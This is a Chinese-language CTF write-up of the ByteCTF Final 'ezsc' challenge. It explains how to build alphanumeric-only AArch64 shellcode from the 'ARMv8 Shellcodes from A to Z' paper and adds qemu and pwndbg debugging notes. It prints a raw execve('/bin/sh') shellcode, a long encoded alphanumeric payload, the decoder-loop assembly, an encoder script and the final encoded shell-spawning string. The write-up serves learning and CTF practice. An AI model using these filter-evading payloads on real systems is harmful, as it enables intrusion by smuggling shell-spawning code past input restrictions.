ByteCTF_Final ezsc复现

 

exec

写一个shellcode或者是一个ORW

字符限制在:0x30~0x390x41~0x5a0x61~0x7a

主要的难度是是将shellcode转变

首先我们来学习一下ARM原本的shellcode

.section .text
.global _start
_start:
    # system("/bin/sh")
    adr     x0, ascii
    mov     x1, #0    
    mov     x2, #0     
    mov     x8, #221     
    svc     0

ascii:
    .string "/bin/sh"

很简单,adr获取地址,mov来构造参数,但是这里有很多不可见字符,为了构造我们需要的可见字符,我们通过查阅论文1608.03415v2.pdf (arxiv.org)来构造出其shellcode

 

ARMv8 Shellcodes from ‘A’ to ‘Z’ 文献阅读

文献阅读部分,仅仅摘录了关键部分,要想理解原理,请看原文。

1. ARMv8 AArch64

指令格式:ldr x16 , PC +0x60604

0~4比特编码为Xt寄存器,imm19即为地址相关的值。有意思的是,寄存器和常量在指令中彼此相连。这对于创建字母数字shell代码来说是一个真正的优势,因为它表明共享前缀的指令可能是相关的。

2. Building the instruction set

使用附录A生成了很多字母字符,希望对应到有效指令。

例如,字000X对应于LDR指令,而字000s不对应于任何有效的AArch64指令:

有效指令最终被分类为与数据处理、分支、加载/存储等有关。在这一步,我们建立了所有有效的字母数字AArch64指令的第一个列表A0。

从A0开始,我们构造了一个操作码集合A1,其中至少存在一个操作数实例,使得它是字母数字的。最后,我们从A1中提取了可以用于原型更高层次构造的指令。这个最终的列表被称为Amax。

2.1. Data processing

此外,Amax限制我们将每个指令的sf位设为0,这就限制了我们只能使用大多数指令的32位变体,阻碍了我们修改寄存器的32位上的值

2.2 Branches

只有这几个能跳转。

然而,只有tbz和它的对立面tbnz对循环有实际的用途,因为其他三个分支指令需要一个太大的偏移量。因此,Amax只包含tbz和tbnz作为分支指令。

2.3 系统调用

异常和系统指令都不可用。这意味着我们不能使用系统调用,也不能清除指令或数据缓存。这使得编写高级代码具有挑战性,并且依赖于实现

2.4Load and stores

许多加载和存储指令可以是字母数字指令。不过需要好好调优。

3.高级构造

一个真实的程序可能需要关于寄存器和内存状态的信息,包括程序计数器和处理器标志。使用Amax不能立即获得这些信息。我们通过提供更高层次的构造来克服这个困难,然后这些构造可以组合成更复杂的程序。事实上,事实证明Amax是图灵完备的。通过提供每个构造的多个变体,这些高级构造还可以更容易地将程序变成多态的。

3.1 Registers operations

置零

将AArch64寄存器设置为零有多种方法。其中一种是字母数字的,在许多寄存器上都能很好地工作,它包括使用两个以及带有移位寄存器的指令。但是,我们只重置了寄存器的32 lsb。这在处理地址时就成为一个问题。

一个例子:

这对应于字母数字代码1BQj1BQj。下表总结了我们可以执行的一些归零操作:

写入构造的值。

由于没有仅仅使用字母数字执行加载的直接办法,所以我们需要选择一种间接策略,通过加减,来改变值。通过重复操作,我们可以构造任意值。

比如:增加1。

字符代码为:ki01ke0q。

减少一:

字符代码为:ki0qke01。

mov操作

我们可以将源寄存器置为0,然后再与目标寄存器以后即可。

Fully Alphanumeric AArch64

编码器E是用PHP编写的,而相应的解码器D是用Amax的指令实现的,作为向量的一部分。最后,我们实现了一个链接器LD,它将编码的有效负载嵌入到d中。该操作生成一个字母数字程序a←LD(E(P))

编码器

由于我们有62个字母数字字符,理论上每一个字母数字字节几乎可以编码6位。然而,为了保持aarch64的特性,我们只对每个字母数字字节编码4位。这将有效负载P的每个二进制字节分散到2个字母数字连续字符上。编码器E的源代码可以在附录D中找到,它分割输入字节P[i],并在每一个小块中添加0x40。

0以一种特殊的方式编码:上述编码将给出0x40,即字符’ @ ‘,它不属于我们的字母数字字符集。将0x10加到之前计算的a[k]上,将其转换为0x50,对应于’ P ‘。

解码器

下面是我们用来解码的小trick

第一个eon操作,将WA左移20位,并将其反置。因为Wz为0

ands仅用于保留wB的4个LSBs。之所以使用模式0xFFFF000F(而不是简单的0xF),是因为指令和wB, wB, 0xFFFF000F是字母数字,而和wB, wB, 0xF不是。

最后一个econ操作,wA向右移动了16位,然后与WB异或。

最终执行的操作如下:

 

调试过程中遇到的问题

如果说,这道题让我收获最多的是,不是知道这个东西该如何去转,而是在这次调试中遇到很多很有意思的问题,虽然调试了很久,但是学到了很多东西。

qemu-arrch64-static启动的ezsc运行到mmap就直接报错。

根本原因:是我的-L 库地址有问题,后来再询问ling的时候,感谢ling大佬给我的arm库包,能够直接运行成功。

直接原因:是地址碰撞了,与qemu翻译地址撞了。所以我们可以patch一下,即可成功【虽然,执行下来了,但是程序还是出bug】。

调试过程中不明原因出现段错误。

原因:mmap申请内存是匿名页,如果没有对自身程序没有对该片区域进行访存操作,在qemu下如果有外部进程对其进行读取或写入等访存操作就会报错,然后我们使用的是pwndbg,而pwndbg会根据寄存器提前查看内存,如果这部分内存没有值,也就是这个页,没有COW到本地,就会出现报错。

 

处理办法

处理办法:

我们可以让shellcode的长度大于0x3000,使在写入的时候就已经创建了内存,那么在pwndbg在调试程序的时候,就不会发生错误了。

helloworld.txt

jiL0JaBqJe4qKbL0kaBqkM91k121sBSjsBSjb2Sjb8Y7R1A9Y5A9Jm01Je0qrR2J9O0r9CrJyI38ki01ke0qBh01Bd0qszH6PPBPJHMBAOPPPPIAAKPPPPIDPPPPPPADPPALPPECPBBPJAMBPAPCHPMBPABPJAOBBAPPDPOIJAOOBOCGPAALPPECAOBHPPGADAPPPPOIFAPPPPEDJPPAHPEBOGOOOOAGLPPCEOMFOMGKKNJIOMPCPPIAOCPKPPOIOCPCPPJJFPPBDPCIHPPPPPCDGCPFPPIANLOOOOIGOLOOOOAGOCPKDPOIOMGKLBJHLPPCEOMFOMGKKOJIPPPMHPEBOMPCPPIANDOOOOIGJPPLHPEBNBOOOOIGHPPMHPEBNPOOOOIGHPPMHPEBMNOOOOIGNPPMHPEBMLOOOOIGHPPEHPEBMJOOOOIGPPPDHPEBMHOOOOIGNPPNHPEBMFOOOOIGNPPMHPEBMDOOOOIGDPPNHPEBMBOOOOIGHPPMHPEBMPOOOOIGHPPLHPEBLNOOOOIGBPPDHPEBLLOOOOIGDPPAHPEBLJOOOOIGPPPPHPEBOMGKLAJHLPPCEOMFBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjszO6

生成字符代码

只截取了一部分:

根据其给的m4代码,我们将其改为python代码

payload = """
l1 : 
    ADR X10 , l1 + 0b010011000110100101101
    SUBS W10 , W10 , #0x98 , lsl #12
    SUBS W10 , W10 , #0xD19

l2 : 
    ADR X11 , l2 + 0b010011000110001001001
    SUBS W11 , W11 , #0x98 , lsl #12
    ADDS W11 , W11 , #0xE53
    ADDS W11 , W11 , #0xC8C
    ANDS W19 , W19 , W19 , lsr #16
    ANDS W19 , W19 , W19 , lsr #16
    ANDS W2 , W19 , W19 , lsr #12
loop : 
    TBNZ W2 , #0b01011 , 0b0010011100001100
    LDRB W18 , [ X10 , #76]
    LDRB W25 , [ X10 , #77]
    ADDS W10 , W10 , #0xC1B
    SUBS W10 , W10 , #0xC19
    EON W18 , W19 , W18 , lsl #20
    .word 0x72304F39
    EON W25 , W25 , W18 , lsr #16
    STRB W25 , [ X11 , W19 , uxtw ]
    ADDS W11 , W11 , #0xC1A
    SUBS W11 , W11 , #0xC19
    ADDS W2 , W2 , #0xC1A
    SUBS W2 , W2 , #0xC19
    TBZ W19 , #0b01001 , next\n"""
payload += "    .word 0x42424242\n"*978
payload += "next:\n"
payload += "    ANDS W26, W26, W26, lsr #12;\n"*77
payload += "    TBZ W19 , #0b01001, loop;\n"

得到我们的shellcode

shellcode = asm(shellcraft.sh())
# getshell_elf = make_elf(shellcode)
f = open("./getshell","wb")
f.write(shellcode)
f.close()

编码

def alph_decode(file1,file2):
    f1 = open(file1,"r")
    shellcode = f1.read()
    f1.close()
    s = ""
    for i in range(len(shellcode)):
        tmp = ord(shellcode[i])
        s += mkchr((tmp>>4)&0xF)
        s += mkchr(tmp&0xF)
    s = s.replace("@","P")
    f2 = open(file2,"wb")
    f2.write(s)
    f2.close()

连接在一起

The payload has to be be placed at the offset designated by the label pool.

shellcode = "NNDEHLMBBNLMJMOBNNNELEOBNNFENNOBPOPMHPMBNNCOKOJINPPCPPIANAPCAOJJNBPCAOJJJHAKHPMBPAPPPPMD"

res = payload[:payload.find("BBBB")]+shellcode+payload[payload.find("BBBB")+len(shellcode):]

最后的shellcode一定要将其填充满,不然qemu+gdb-aarch约等于玄学。

 

总结

这道题目还是很有意思的,我猜测出题人的出题思路应该是来源于Google CTF的一道misc题。https://ctftime.org/writeup/29448

这道题目如果没有这些奇奇怪怪的错误的话,难度应该算中等偏上吧,毕竟这论文不好找,全英的论文也不好看(原谅我英语太菜)。

收获最多的还是对qemu-aarch+gdb调试多了一分经验吧。

 

参考

https://eqqie.cn/index.php/archives/1888#menu_index_8
https://arxiv.org/pdf/1608.03415v2.pdf
https://ctftime.org/writeup/29448

(完)